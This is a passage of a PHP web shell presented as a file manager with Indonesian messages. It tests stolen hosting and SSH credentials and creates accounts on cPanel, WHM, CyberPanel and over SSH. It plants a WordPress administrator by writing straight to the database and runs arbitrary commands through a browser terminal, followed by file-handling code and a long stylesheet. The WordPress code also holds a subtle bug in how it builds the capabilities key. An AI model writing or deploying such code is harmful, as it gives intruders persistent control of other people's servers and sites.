$conn = @ssh2_connect($cred['host'] ?? '', (int)($cred['port'] ?? 22));
if ($conn === false) { fm_json(['ok' => false, 'msg' => 'SSH server unreachable']); }
$auth = @ssh2_auth_password($conn, $cred['user'] ?? '', $cred['pass'] ?? '');
fm_json(['ok' => $auth, 'msg' => $auth ? 'SSH login successful' : 'SSH login failed']);
}
if ($type === 'cpanel') {
$url = rtrim($cred['host'] ?? '', '/') . ':2087/execute/';
$ch = @curl_init();
curl_setopt_array($ch, [
CURLOPT_URL => $url,
CURLOPT_RETURNTRANSFER => true,
CURLOPT_TIMEOUT => 5,
CURLOPT_USERPWD => ($cred['user'] ?? '') . ':' . ($cred['token'] ?? ''),
CURLOPT_SSL_VERIFYPEER => false,
]);
$response = @curl_exec($ch);
curl_close($ch);
fm_json(['ok' => $response !== false, 'msg' => $response !== false ? 'cPanel API accessible' : 'cPanel API unreachable']);
}
if ($type === 'cyberpanel') {
$url = rtrim($cred['host'] ?? '', '/') . '/api/login';
$ch = @curl_init();
curl_setopt_array($ch, [
CURLOPT_URL => $url,
CURLOPT_POST => true,
CURLOPT_POSTFIELDS => json_encode(['username' => $cred['user'] ?? '', 'password' => $cred['pass'] ?? '']),
CURLOPT_RETURNTRANSFER => true,
CURLOPT_TIMEOUT => 5,
CURLOPT_SSL_VERIFYPEER => false,
CURLOPT_HTTPHEADER => ['Content-Type: application/json'],
]);
$response = @curl_exec($ch);
curl_close($ch);
fm_json(['ok' => $response !== false, 'msg' => $response !== false ? 'CyberPanel API accessible' : 'CyberPanel API unreachable']);
}
if ($type === 'whm') {
$url = rtrim($cred['host'] ?? '', '/') . ':2086/json-api/';
$ch = @curl_init();
curl_setopt_array($ch, [
CURLOPT_URL => $url,
CURLOPT_RETURNTRANSFER => true,
CURLOPT_TIMEOUT => 5,
CURLOPT_HTTPAUTH => CURLAUTH_BEARER,
CURLOPT_XOAUTH2_BEARER => $cred['token'] ?? '',
CURLOPT_SSL_VERIFYPEER => false,
]);
$response = @curl_exec($ch);
curl_close($ch);
fm_json(['ok' => $response !== false, 'msg' => $response !== false ? 'WHM API accessible' : 'WHM API unreachable']);
}
fm_json(['ok' => false, 'msg' => 'Unknown panel type']);
}
if ($op === 'create') {
$cred = $panels[$type] ?? null;
if (!$cred) { fm_json(['ok' => false, 'msg' => 'No credentials saved']); }
$newuser = (string)($_POST['newuser'] ?? '');
$newpass = (string)($_POST['newpass'] ?? '');
if (!$newuser || !$newpass) { fm_json(['ok' => false, 'msg' => 'Username and password required']); }
if ($type === 'wordpress') {
$dbhost = (string)($_POST['dbhost'] ?? 'localhost');
$dbname = (string)($_POST['dbname'] ?? 'wordpress');
$dbuser = (string)($_POST['dbuser'] ?? '');
$dbpass = (string)($_POST['dbpass'] ?? '');
$dbpref = (string)($_POST['dbpref'] ?? 'wp_');
try {
$pdo = new PDO("mysql:host=$dbhost;dbname=$dbname;charset=utf8mb4", $dbuser, $dbpass, [PDO::ATTR_TIMEOUT => 2]);
$pdo->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
$pass_hash = wp_hash_password($newpass);
$email = (string)($_POST['email'] ?? $newuser . '@example.com');
$stmt = $pdo->prepare("INSERT INTO {$dbpref}users (user_login, user_pass, user_email, user_nicename, display_name) VALUES (?, ?, ?, ?, ?)");
$stmt->execute([$newuser, $pass_hash, $email, $newuser, $newuser]);
$user_id = $pdo->lastInsertId();
$stmt = $pdo->prepare("INSERT INTO {$dbpref}usermeta (user_id, meta_key, meta_value) VALUES (?, ?, ?)");
$stmt->execute([$user_id, $pdo->quote($dbpref) . 'capabilities', serialize(['administrator' => 1])]);
fm_json(['ok' => true, 'msg' => "✅ User '$newuser' created (admin)"]);
} catch (Exception $e) {
fm_json(['ok' => false, 'msg' => 'DB Error: ' . $e->getMessage()]);
}
}
if ($type === 'ftp') {
$conn = @ftp_connect($cred['host'] ?? '', 21, 2);
if ($conn === false) { fm_json(['ok' => false, 'msg' => 'FTP server unreachable']); }
$login = @ftp_login($conn, $cred['user'] ?? '', $cred['pass'] ?? '');
if (!$login) { @ftp_close($conn); fm_json(['ok' => false, 'msg' => 'FTP login failed']); }
$homedir = (string)($_POST['homedir'] ?? '/public_html/' . $newuser);
$ok = @ftp_mkdir($conn, $homedir);
fm_json(['ok' => $ok, 'msg' => $ok ? "✅ FTP dir created: $homedir" : 'Failed to create directory']);
@ftp_close($conn);
}
if ($type === 'ssh') {
if (!function_exists('ssh2_connect')) { fm_json(['ok' => false, 'msg' => 'SSH2 extension not available']); }
$conn = @ssh2_connect($cred['host'] ?? '', (int)($cred['port'] ?? 22));
if ($conn === false) { fm_json(['ok' => false, 'msg' => 'SSH server unreachable']); }
$auth = @ssh2_auth_password($conn, $cred['user'] ?? '', $cred['pass'] ?? '');
if (!$auth) { fm_json(['ok' => false, 'msg' => 'SSH auth failed']); }
@ssh2_exec($conn, "useradd -m -p " . escapeshellarg(crypt($newpass)) . " " . escapeshellarg($newuser) . " &");
fm_json(['ok' => true, 'msg' => "⚡ SSH user '$newuser' creation triggered (background)"]);
}
if ($type === 'cpanel') {
$url = rtrim($cred['host'] ?? '', '/') . ':2087/json-api/cpanel';
$ch = @curl_init();
curl_setopt_array($ch, [
CURLOPT_URL => $url . '?cpanel_jsonapi_user=' . urlencode($cred['user'] ?? '') . '&cpanel_jsonapi_apiversion=2&func=adduser&user=' . urlencode($newuser) . '&password=' . urlencode($newpass) . '"a=unlimited',
CURLOPT_RETURNTRANSFER => true,
CURLOPT_TIMEOUT => 3,
CURLOPT_CONNECTTIMEOUT => 2,
CURLOPT_USERPWD => ($cred['user'] ?? '') . ':' . ($cred['token'] ?? ''),
CURLOPT_SSL_VERIFYPEER => false,
CURLOPT_NOSIGNAL => 1,
]);
$response = @curl_exec($ch);
$err = curl_errno($ch);
curl_close($ch);
if ($err !== 0) { fm_json(['ok' => false, 'msg' => 'cPanel timeout (try again)']); }
$result = @json_decode($response, true);
fm_json(['ok' => isset($result['cpanelresult']['status']) && $result['cpanelresult']['status'] == 1, 'msg' => isset($result['cpanelresult']['status']) && $result['cpanelresult']['status'] == 1 ? '✅ cPanel user created' : 'cPanel error']);
}
if ($type === 'cyberpanel') {
$url = rtrim($cred['host'] ?? '', '/') . '/api/createUser';
$ch = @curl_init();
curl_setopt_array($ch, [
CURLOPT_URL => $url,
CURLOPT_POST => true,
CURLOPT_POSTFIELDS => json_encode(['userName' => $newuser, 'password' => $newpass, 'email' => $_POST['email'] ?? '']),
CURLOPT_RETURNTRANSFER => true,
CURLOPT_TIMEOUT => 3,
CURLOPT_CONNECTTIMEOUT => 2,
CURLOPT_SSL_VERIFYPEER => false,
CURLOPT_HTTPHEADER => ['Content-Type: application/json', 'Authorization: Basic ' . base64_encode(($cred['user'] ?? '') . ':' . ($cred['pass'] ?? ''))],
CURLOPT_NOSIGNAL => 1,
]);
$response = @curl_exec($ch);
$err = curl_errno($ch);
curl_close($ch);
if ($err !== 0) { fm_json(['ok' => false, 'msg' => 'CyberPanel timeout (try again)']); }
fm_json(['ok' => $response !== false, 'msg' => $response !== false ? '✅ CyberPanel user created' : 'API error']);
}
if ($type === 'whm') {
$url = rtrim($cred['host'] ?? '', '/') . ':2086/json-api/createacct';
$ch = @curl_init();
curl_setopt_array($ch, [
CURLOPT_URL => $url . '?username=' . urlencode($newuser) . '&password=' . urlencode($newpass) . '&domain=' . urlencode($newuser . '.com'),
CURLOPT_RETURNTRANSFER => true,
CURLOPT_TIMEOUT => 3,
CURLOPT_CONNECTTIMEOUT => 2,
CURLOPT_HTTPAUTH => CURLAUTH_BEARER,
CURLOPT_XOAUTH2_BEARER => $cred['token'] ?? '',
CURLOPT_SSL_VERIFYPEER => false,
CURLOPT_NOSIGNAL => 1,
]);
$response = @curl_exec($ch);
$err = curl_errno($ch);
curl_close($ch);
if ($err !== 0) { fm_json(['ok' => false, 'msg' => 'WHM timeout (try again)']); }
fm_json(['ok' => $response !== false, 'msg' => $response !== false ? '✅ WHM account created' : 'WHM API error']);
}
fm_json(['ok' => false, 'msg' => 'Unknown panel type']);
}
if ($op === 'list') {
$available = fm_panel_detect();
$list = [];
foreach ($available as $p => $_) {
$cred = $panels[$p] ?? null;
$list[] = ['type' => $p, 'user' => $cred ? $cred['user'] : null, 'saved' => $cred !== null];
}
fm_json(['ok' => true, 'panels' => $list]);
}
fm_json(['ok' => false, 'msg' => 'Invalid operation']);
}
if ($post && $action === 'exec') {
if (!fm_shell_ok()) {
fm_json(['ok' => false, 'out' => '', 'err' => 'Terminal dinonaktifkan atau fungsi proc_open tidak tersedia.', 'code' => -1, 'cwd' => '']);
}
$cwd = (string)($_SESSION['fm_cwd'] ?? '');
if ($cwd === '' || !is_dir($cwd)) { $cwd = $dir; }
if (($_POST['sync'] ?? '') === '1') { $cwd = $dir; }
$cwd = str_replace('\\', '/', (string)(realpath($cwd) ?: FM_ROOT));
$_SESSION['fm_cwd'] = $cwd;
$cmd = trim((string)($_POST['cmd'] ?? ''));
if ($cmd === '') { fm_json(['ok' => true, 'out' => '', 'err' => '', 'code' => 0, 'cwd' => $cwd]); }
if (preg_match('/^cd(?:\s+(.*))?$/i', $cmd, $m)) {
$t = trim((string)($m[1] ?? ''), " \t\"'");
if ($t === '' || $t === '~') {
$to = FM_ROOT;
} elseif (preg_match('#^([A-Za-z]:[\\\\/]|/|\\\\\\\\)#', $t)) {
$to = $t;
} else {
$to = $cwd . '/' . $t;
}
$rp = @realpath($to);
if ($rp !== false && is_dir($rp)) {
$cwd = str_replace('\\', '/', $rp);
$_SESSION['fm_cwd'] = $cwd;
fm_json(['ok' => true, 'out' => '', 'err' => '', 'code' => 0, 'cwd' => $cwd]);
}
fm_json(['ok' => false, 'out' => '', 'err' => 'cd: direktori tidak ditemukan: ' . $t, 'code' => 1, 'cwd' => $cwd]);
}
$res = fm_exec($cmd, $cwd);
fm_json(['ok' => $res['code'] === 0, 'out' => $res['out'], 'err' => $res['err'], 'code' => $res['code'], 'cwd' => $cwd]);
}
if ($post) {
$names = json_decode((string)($_POST['items'] ?? '[]'), true);
if (!is_array($names)) { $names = []; }
$targets = [];
foreach ($names as $nm) {
$r = fm_norm((string)$nm);
if ($r === '') { continue; }
$abs = fm_abs($r);
if (fm_inside($abs) && file_exists($abs)) { $targets[] = ['rel' => $r, 'abs' => $abs]; }
}
if ($action === 'mkdir' || $action === 'mkfile') {
$name = fm_name((string)($_POST['name'] ?? ''));
if ($name === '') {
fm_flash('err', 'Nama tidak valid.');
} elseif (file_exists($dir . '/' . $name)) {
fm_flash('err', 'Nama sudah digunakan.');
} elseif ($action === 'mkdir') {
$ok = @mkdir($dir . '/' . $name, 0775);
fm_flash($ok ? 'ok' : 'err', $ok ? 'Folder "' . $name . '" dibuat.' : 'Gagal membuat folder.');
} else {
$ok = @file_put_contents($dir . '/' . $name, '') !== false;
fm_flash($ok ? 'ok' : 'err', $ok ? 'Berkas "' . $name . '" dibuat.' : 'Gagal membuat berkas.');
}
fm_go($rel);
}
if ($action === 'rename') {
$src = fm_norm((string)($_POST['src'] ?? ''));
$abs = fm_abs($src);
$name = fm_name((string)($_POST['name'] ?? ''));
if ($src === '' || !fm_inside($abs) || !file_exists($abs) || $name === '') {
fm_flash('err', 'Penggantian nama gagal.');
} elseif (file_exists(dirname($abs) . '/' . $name)) {
fm_flash('err', 'Nama sudah digunakan.');
} else {
fm_flash(@rename($abs, dirname($abs) . '/' . $name) ? 'ok' : 'err', 'Nama diubah menjadi "' . $name . '".');
}
fm_go($rel);
}
if ($action === 'delete') {
$n = 0;
foreach ($targets as $t) { if (fm_rmrf($t['abs'])) { $n++; } }
fm_flash($n > 0 ? 'ok' : 'err', $n > 0 ? $n . ' item dihapus.' : 'Tidak ada item yang dihapus.');
fm_go($rel);
}
if ($action === 'clip') {
$mode = ($_POST['mode'] ?? '') === 'cut' ? 'cut' : 'copy';
$_SESSION['fm_clip'] = ['mode' => $mode, 'items' => array_column($targets, 'rel')];
fm_flash('ok', count($targets) . ' item di' . ($mode === 'cut' ? 'potong' : 'salin') . '.');
fm_go($rel);
}
if ($action === 'paste') {
$clip = $_SESSION['fm_clip'] ?? null;
$n = 0;
if (is_array($clip)) {
foreach ($clip['items'] as $r) {
$src = fm_abs(fm_norm((string)$r));
if (!fm_inside($src) || !file_exists($src)) { continue; }
if (is_dir($src) && (strpos($dir . '/', rtrim($src, '/') . '/') === 0)) { continue; }
$name = fm_unique($dir, basename($src));
$dst = $dir . '/' . $name;
if ($clip['mode'] === 'cut') {
if (@rename($src, $dst)) { $n++; }
} elseif (fm_copy($src, $dst)) { $n++; }
}
if ($clip['mode'] === 'cut') { unset($_SESSION['fm_clip']); }
}
fm_flash($n > 0 ? 'ok' : 'err', $n > 0 ? $n . ' item ditempel.' : 'Tidak ada item yang ditempel.');
fm_go($rel);
}
if ($action === 'compress' && FM_ZIP) {
$name = fm_name((string)($_POST['name'] ?? ''));
if ($name === '') { $name = 'arsip-' . date('Ymd-His'); }
if (fm_ext($name) !== 'zip') { $name .= '.zip'; }
$name = fm_unique($dir, $name);
$zip = new ZipArchive();
$n = 0;
if ($zip->open($dir . '/' . $name, ZipArchive::CREATE | ZipArchive::OVERWRITE) === true) {
foreach ($targets as $t) { fm_zip_add($zip, $t['abs'], basename($t['abs'])); $n++; }
$zip->close();
}
fm_flash($n > 0 ? 'ok' : 'err', $n > 0 ? 'Arsip "' . $name . '" dibuat.' : 'Gagal membuat arsip.');
fm_go($rel);
}
if ($action === 'extract' && FM_ZIP) {
$src = fm_norm((string)($_POST['src'] ?? ''));
$abs = fm_abs($src);
$ok = false;
if ($src !== '' && fm_inside($abs) && is_file($abs)) {
$out = $dir . '/' . fm_unique($dir, pathinfo($abs, PATHINFO_FILENAME));
$zip = new ZipArchive();
if ($zip->open($abs) === true) {
@mkdir($out, 0775, true);
$ok = $zip->extractTo($out);
$zip->close();
}
}
fm_flash($ok ? 'ok' : 'err', $ok ? 'Arsip diekstrak.' : 'Gagal mengekstrak arsip.');
fm_go($rel);
}
fm_go($rel);
}
$q = trim((string)($_GET['q'] ?? ''));
$sort = in_array($_GET['sort'] ?? '', ['name', 'size', 'date', 'type'], true) ? (string)$_GET['sort'] : 'name';
$order = ($_GET['order'] ?? 'asc') === 'desc' ? 'desc' : 'asc';
$view = ($_COOKIE['fm_view'] ?? 'list') === 'grid' ? 'grid' : 'list';
$theme = ($_COOKIE['fm_theme'] ?? 'dark') === 'light' ? 'light' : 'dark';
$shellOk = fm_shell_ok();
$shellName = FM_WIN ? 'cmd.exe' : basename(fm_shell_bin());
$items = [];
$truncated = false;
if ($q !== '') {
$stack = [$dir];
while ($stack && count($items) < FM_LIMIT) {
$cur = array_pop($stack);
foreach (scandir($cur) ?: [] as $f) {
if ($f === '.' || $f === '..') { continue; }
if (!FM_HIDDEN && $f[0] === '.') { continue; }
$abs = $cur . '/' . $f;
if (stripos($f, $q) !== false) {
if (count($items) >= FM_LIMIT) { $truncated = true; break 2; }
$items[] = [
'name' => $f,
'rel' => ltrim(substr($abs, strlen(FM_ROOT) + 1), '/'),
'dir' => is_dir($abs),
'size' => is_dir($abs) ? 0 : (int)@filesize($abs),
'time' => (int)@filemtime($abs),
'ext' => is_dir($abs) ? '' : fm_ext($f),
'mode' => (int)@fileperms($abs),
'write'=> is_writable($abs),
'link' => is_link($abs),
];
}
if (is_dir($abs) && !is_link($abs)) { $stack[] = $abs; }
}
}
} else {
foreach (scandir($dir) ?: [] as $f) {
if ($f === '.' || $f === '..') { continue; }
if (!FM_HIDDEN && $f[0] === '.') { continue; }
$abs = $dir . '/' . $f;
$items[] = [
'name' => $f,
'rel' => ($rel === '' ? '' : $rel . '/') . $f,
'dir' => is_dir($abs),
'size' => is_dir($abs) ? 0 : (int)@filesize($abs),
'time' => (int)@filemtime($abs),
'ext' => is_dir($abs) ? '' : fm_ext($f),
'mode' => (int)@fileperms($abs),
'write'=> is_writable($abs),
'link' => is_link($abs),
];
}
}
usort($items, static function (array $x, array $y) use ($sort, $order): int {
if ($x['dir'] !== $y['dir']) { return $x['dir'] ? -1 : 1; }
$r = match ($sort) {
'size' => $x['size'] <=> $y['size'],
'date' => $x['time'] <=> $y['time'],
'type' => strcasecmp($x['ext'], $y['ext']),
default => strnatcasecmp($x['name'], $y['name']),
};
if ($r === 0) { $r = strnatcasecmp($x['name'], $y['name']); }
return $order === 'desc' ? -$r : $r;
});
$countDir = 0; $countFile = 0; $totalSize = 0;
foreach ($items as $it) {
if ($it['dir']) { $countDir++; } else { $countFile++; $totalSize += $it['size']; }
}
$crumbs = [];
$acc = '';
foreach ($rel === '' ? [] : explode('/', $rel) as $seg) {
$acc = $acc === '' ? $seg : $acc . '/' . $seg;
$crumbs[] = ['name' => $seg, 'rel' => $acc];
}
$parent = $rel === '' ? null : fm_norm(dirname($rel) === '.' ? '' : dirname($rel));
$clip = $_SESSION['fm_clip'] ?? null;
$clipCount = is_array($clip) ? count($clip['items']) : 0;
$flash = $_SESSION['fm_flash'] ?? null;
unset($_SESSION['fm_flash']);
$dTotal = @disk_total_space(FM_ROOT) ?: 0;
$dFree = @disk_free_space(FM_ROOT) ?: 0;
$dUsed = $dTotal > 0 ? $dTotal - $dFree : 0;
$dPct = $dTotal > 0 ? round($dUsed / $dTotal * 100) : 0;
function fm_sort_url(string $key, string $sort, string $order, string $rel, string $q): string {
$o = ($sort === $key && $order === 'asc') ? 'desc' : 'asc';
$p = ['p' => $rel, 'sort' => $key, 'order' => $o];
if ($q !== '') { $p['q'] = $q; }
return '?' . http_build_query($p);
}
function fm_css(): string {
return <<<'CSS'
*,*::before,*::after{box-sizing:border-box}
html{-webkit-text-size-adjust:100%}
:root{
--bg:#17191d;--bg2:#1b1e23;--panel:#1b1e23;--panel2:#22262c;--line:#2b3037;--line2:#3a4049;
--tx:#d5d9de;--tx2:#8d949e;--tx3:#666d77;--acc:#4f97e8;--accs:rgba(79,151,232,.13);
--ok:#5cab5f;--err:#e0574f;--warn:#c9963c;--sh:0 10px 30px rgba(0,0,0,.45);--r:5px;
--fdir:#d3a03f;--fimg:#4b9bb5;--fvid:#bd6c8c;--faud:#8878bd;--fzip:#c08349;--fcod:#5ea262;--fdoc:#c0665f;
--mono:ui-monospace,"SFMono-Regular","JetBrains Mono",Consolas,"Liberation Mono",monospace;
}
[data-theme=light]{
--bg:#ffffff;--bg2:#f7f8fa;--panel:#ffffff;--panel2:#f2f4f7;--line:#e1e4e9;--line2:#ccd1d9;
--tx:#1f2328;--tx2:#59616d;--tx3:#858d99;--acc:#1462c4;--accs:rgba(20,98,196,.09);
--ok:#1a7f37;--err:#c8322c;--warn:#9a6d00;--sh:0 10px 26px rgba(20,26,38,.13);
--fdir:#b8862a;--fimg:#2b7f9b;--fvid:#a94c72;--faud:#6a58a8;--fzip:#a36528;--fcod:#3d8443;--fdoc:#b04a44;
}
body{margin:0;background:var(--bg);color:var(--tx);font:13px/1.5 system-ui,-apple-system,"Segoe UI",Roboto,sans-serif;-webkit-font-smoothing:antialiased}
a{color:inherit;text-decoration:none}
button,input,textarea,select{font:inherit;color:inherit}
::selection{background:var(--accs)}
.ic{width:16px;height:16px;flex:none}
.muted{color:var(--tx2)}
.mono{font-family:var(--mono)}
.btn{display:inline-flex;align-items:center;gap:7px;height:30px;padding:0 10px;border:1px solid var(--line);background:var(--panel2);color:var(--tx);border-radius:var(--r);cursor:pointer;white-space:nowrap;transition:.12s background,.12s border-color}
.btn:hover{background:var(--line);border-color:var(--line2)}
.btn:disabled{opacity:.4;cursor:not-allowed}
.btn.primary{background:var(--acc);border-color:var(--acc);color:#fff;font-weight:500}
.btn.primary:hover{filter:brightness(1.1)}
.btn.danger{color:var(--err)}
.btn.danger:hover{background:color-mix(in srgb,var(--err) 14%,transparent);border-color:color-mix(in srgb,var(--err) 40%,transparent)}
.btn.ghost{background:transparent;border-color:transparent}
.btn.ghost:hover{background:var(--panel2);border-color:var(--line)}
.btn.icon{width:30px;padding:0;justify-content:center}
.btn.block{width:100%;justify-content:center;height:34px;margin-top:4px}
.btn.sm{height:26px;padding:0 8px;font-size:12px}
.field{display:block;margin-bottom:12px}
.field span{display:block;font-size:12px;color:var(--tx2);margin-bottom:5px}
.field input,.inp{width:100%;height:32px;padding:0 9px;background:var(--bg);border:1px solid var(--line);border-radius:var(--r);outline:none;transition:.12s}
.field input:focus,.inp:focus{border-color:var(--acc)}
.alert{padding:8px 10px;border-radius:var(--r);font-size:12.5px;margin-bottom:12px;background:color-mix(in srgb,var(--err) 12%,transparent);color:var(--err);border:1px solid color-mix(in srgb,var(--err) 30%,transparent)}
body.auth{display:grid;place-items:center;min-height:100vh;padding:20px}
.login{width:100%;max-width:330px;background:var(--panel);border:1px solid var(--line);border-radius:8px;padding:26px}
.login-brand{width:36px;height:36px;display:grid;place-items:center;border:1px solid var(--line2);border-radius:var(--r);color:var(--acc);margin-bottom:14px}
.login h1{margin:0 0 3px;font-size:17px;font-weight:600}
.login p{margin:0 0 18px;font-size:12.5px}
.app{display:grid;grid-template-columns:224px 1fr;min-height:100vh}
.side{background:var(--bg2);border-right:1px solid var(--line);padding:14px 10px;display:flex;flex-direction:column;gap:16px;position:sticky;top:0;height:100vh;overflow-y:auto}
.brand{display:flex;align-items:center;gap:9px;padding:2px 4px 0}
.brand-logo{width:30px;height:30px;border:1px solid var(--line2);border-radius:var(--r);display:grid;place-items:center;color:var(--acc)}
.brand b{display:block;font-size:13.5px;font-weight:600}
.brand small{color:var(--tx3);font-size:11px}
.side-t{font-size:10.5px;text-transform:uppercase;letter-spacing:.08em;color:var(--tx3);padding:0 6px;margin-bottom:6px}
.snav{display:flex;flex-direction:column;gap:1px}
.snav a{display:flex;align-items:center;gap:8px;padding:6px 8px;border-radius:var(--r);color:var(--tx2);font-size:12.5px}
.snav a:hover{background:var(--panel2);color:var(--tx)}
.snav a.on{background:var(--panel2);color:var(--tx);box-shadow:inset 2px 0 0 var(--acc)}
.snav a span{overflow:hidden;text-overflow:ellipsis;white-space:nowrap}
.disk{padding:0 6px}
.disk-h{display:flex;align-items:center;gap:7px;font-size:12px;color:var(--tx2);margin-bottom:8px}
.bar{height:4px;border-radius:2px;background:var(--line);overflow:hidden}
.bar i{display:block;height:100%;background:var(--acc)}
.disk-f{display:flex;justify-content:space-between;margin-top:6px;font-size:11px;color:var(--tx3);font-family:var(--mono)}
.side-foot{margin-top:auto;display:flex;flex-direction:column;gap:6px;border-top:1px solid var(--line);padding-top:8px}
.who{display:flex;align-items:center;gap:8px;padding:7px 8px;border-radius:var(--r);border:1px solid var(--line);font-size:12.5px}
.who .ic{color:var(--tx2)}
.main{min-width:0;display:flex;flex-direction:column}
.top{position:sticky;top:0;z-index:20;display:flex;align-items:center;gap:8px;padding:9px 14px;background:var(--bg);border-bottom:1px solid var(--line)}
.crumb{display:flex;align-items:center;gap:1px;min-width:0;overflow-x:auto;scrollbar-width:none;flex:1}
.crumb::-webkit-scrollbar{display:none}
.crumb a{display:flex;align-items:center;gap:5px;padding:4px 7px;border-radius:var(--r);color:var(--tx2);font-size:12.5px;white-space:nowrap}
.crumb a:hover{background:var(--panel2);color:var(--tx)}
.crumb a.on{color:var(--tx);font-weight:500}
.crumb .sep{color:var(--tx3);display:flex}
.crumb .sep .ic{width:12px;height:12px}
.search{position:relative;flex:none;width:210px}
.search .ic{position:absolute;left:9px;top:50%;transform:translateY(-50%);color:var(--tx3);width:14px;height:14px}
.search input{height:30px;padding:0 28px 0 29px;background:var(--panel2)}
.search .clr{position:absolute;right:3px;top:50%;transform:translateY(-50%);width:24px;height:24px;border:0;background:none;color:var(--tx3);border-radius:4px;cursor:pointer;display:grid;place-items:center}
.search .clr:hover{background:var(--line);color:var(--tx)}
.bar-tools{display:flex;align-items:center;gap:6px;padding:9px 14px;flex-wrap:wrap;border-bottom:1px solid var(--line)}
.sp{flex:1}
.vr{width:1px;height:18px;background:var(--line)}
.sel-bar{display:none;align-items:center;gap:6px;padding:7px 14px;background:var(--panel2);border-bottom:1px solid var(--line);font-size:12.5px;flex-wrap:wrap}
.sel-bar.on{display:flex}
.sel-bar b{color:var(--acc);font-family:var(--mono)}
.wrap{flex:1;padding:12px 14px 48px;position:relative;background-image:linear-gradient(135deg,rgba(79,151,232,.03) 0%,rgba(139,109,255,.02) 100%);background-color:#0b0d12;background-size:cover;background-attachment:fixed;background-position:center}
.wrap::before{content:'';position:absolute;inset:0;background:rgba(11,13,18,.45);pointer-events:none;z-index:0}
.wrap > *{position:relative;z-index:1}
.head{display:grid;gap:10px;align-items:center;padding:0 9px 7px;font-size:10.5px;text-transform:uppercase;letter-spacing:.07em;color:var(--tx3);border-bottom:1px solid var(--line);margin-bottom:3px}
.head a{display:inline-flex;align-items:center;gap:4px;color:inherit}
.head a:hover{color:var(--tx)}
.head a.on{color:var(--acc)}
.items{display:flex;flex-direction:column}
.head,.item{grid-template-columns:28px minmax(0,1fr) 128px 88px 148px 100px}
.item{display:grid;gap:10px;align-items:center;padding:5px 9px;border-radius:var(--r);border:1px solid transparent;transition:.1s background}
.item:hover{background:var(--panel2)}
.item.on{background:var(--accs);border-color:color-mix(in srgb,var(--acc) 34%,transparent)}
.item.cut{opacity:.45}
.sel{display:grid;place-items:center}
.sel input{appearance:none;width:14px;height:14px;border:1px solid var(--line2);border-radius:3px;background:var(--bg);cursor:pointer;position:relative;margin:0}
.sel input:checked{background:var(--acc);border-color:var(--acc)}
.sel input:checked::after{content:"";position:absolute;left:4px;top:1px;width:3px;height:7px;border:solid #fff;border-width:0 2px 2px 0;transform:rotate(42deg)}
.nm{display:flex;align-items:center;gap:9px;min-width:0}
.thumb-wrap{width:22px;height:22px;flex:none;display:grid;place-items:center;border-radius:3px;overflow:hidden;position:relative}
.thumb-wrap .ic{width:16px;height:16px}
.thumb-wrap img{position:absolute;inset:0;width:100%;height:100%;object-fit:cover;display:none}
.thumb-wrap img.rdy{display:block}
.k-dir{color:var(--fdir)}.k-image{color:var(--fimg)}.k-video{color:var(--fvid)}.k-audio{color:var(--faud)}
.k-archive{color:var(--fzip)}.k-code{color:var(--fcod)}.k-doc{color:var(--fdoc)}.k-text,.k-file{color:var(--tx2)}
.lnk{min-width:0;display:block}
.lnk b{display:block;font-weight:400;font-size:13px;overflow:hidden;text-overflow:ellipsis;white-space:nowrap;cursor:pointer}
.lnk b:hover{text-decoration:underline;text-underline-offset:2px}
.lnk small{display:none;color:var(--tx3);font-size:11px;font-family:var(--mono)}
.sz,.md{color:var(--tx2);font-size:11.5px;font-family:var(--mono);overflow:hidden;text-overflow:ellipsis;white-space:nowrap}
.pm{display:flex;align-items:center;gap:7px;font-size:11.5px;font-family:var(--mono);white-space:nowrap;overflow:hidden}
.pm .ps{letter-spacing:.02em}
.pm .oc{color:var(--tx3);font-size:10.5px}
.pm.w .ps{color:var(--ok)}
.pm.r .ps{color:var(--err)}
.pm .dot{width:6px;height:6px;border-radius:50%;flex:none;background:currentColor}
.pm.w{color:var(--ok)}.pm.r{color:var(--err)}
.ac{display:flex;gap:1px;justify-content:flex-end;opacity:0}
.item:hover .ac,.item.on .ac{opacity:1}
.ac button{width:24px;height:24px;display:grid;place-items:center;border:0;background:none;color:var(--tx2);border-radius:3px;cursor:pointer}
.ac button:hover{background:var(--line);color:var(--tx)}
.ac button.del:hover{color:var(--err)}
.ac .ic{width:14px;height:14px}
.items.grid{display:grid;grid-template-columns:repeat(auto-fill,minmax(132px,1fr));gap:6px}
.items.grid .item{grid-template-columns:none;display:flex;flex-direction:column;align-items:center;text-align:center;gap:8px;padding:14px 9px 10px;border-color:var(--line);position:relative}
.items.grid .item:hover{border-color:var(--line2)}
.items.grid .sel{position:absolute;top:6px;left:6px;opacity:0}
.items.grid .item:hover .sel,.items.grid .item.on .sel{opacity:1}
.items.grid .nm{flex-direction:column;gap:8px;width:100%}
.items.grid .thumb-wrap{width:100%;height:62px;border-radius:4px;background:var(--panel2)}
.items.grid .thumb-wrap .ic{width:28px;height:28px}
.items.grid .lnk{width:100%;text-align:center}
.items.grid .lnk b{white-space:normal;overflow:hidden;display:-webkit-box;-webkit-line-clamp:2;-webkit-box-orient:vertical;font-size:12.5px;line-height:1.35}
.items.grid .lnk small{display:block;margin-top:2px}
.items.grid .sz,.items.grid .md,.items.grid .pm{display:none}
.items.grid .ac{position:absolute;top:5px;right:5px;background:var(--panel);border:1px solid var(--line);border-radius:4px}
.head.hide{display:none}
.empty{padding:56px 20px;text-align:center;color:var(--tx3)}
.empty .ic{width:30px;height:30px;margin-bottom:10px;opacity:.5}
.empty p{margin:0 0 3px;font-size:13.5px;color:var(--tx2)}
.dz{position:fixed;inset:0;z-index:60;display:none;place-items:center;background:color-mix(in srgb,var(--bg) 86%,transparent)}
.dz.on{display:grid}
.dz-in{border:1px dashed var(--acc);border-radius:6px;padding:40px 54px;text-align:center;background:var(--panel)}
.dz-in .ic{width:28px;height:28px;color:var(--acc);margin-bottom:10px}
.dz-in h3{margin:0 0 3px;font-size:14px;font-weight:600}
.modal{position:fixed;inset:0;z-index:80;display:none;align-items:center;justify-content:center;padding:16px;background:rgba(0,0,0,.55)}
.modal.on{display:flex}
.box{width:100%;max-width:400px;max-height:92vh;display:flex;flex-direction:column;background:var(--panel);border:1px solid var(--line2);border-radius:7px;box-shadow:var(--sh);overflow:hidden}
.box.wide{max-width:900px;height:86vh}
.box-h{display:flex;align-items:center;gap:9px;padding:11px 14px;border-bottom:1px solid var(--line)}
.box-h h3{margin:0;font-size:13px;font-weight:600;flex:1;overflow:hidden;text-overflow:ellipsis;white-space:nowrap}
.box-b{padding:14px;overflow:auto;flex:1}
.box-f{display:flex;gap:7px;justify-content:flex-end;padding:11px 14px;border-top:1px solid var(--line);background:var(--bg2)}
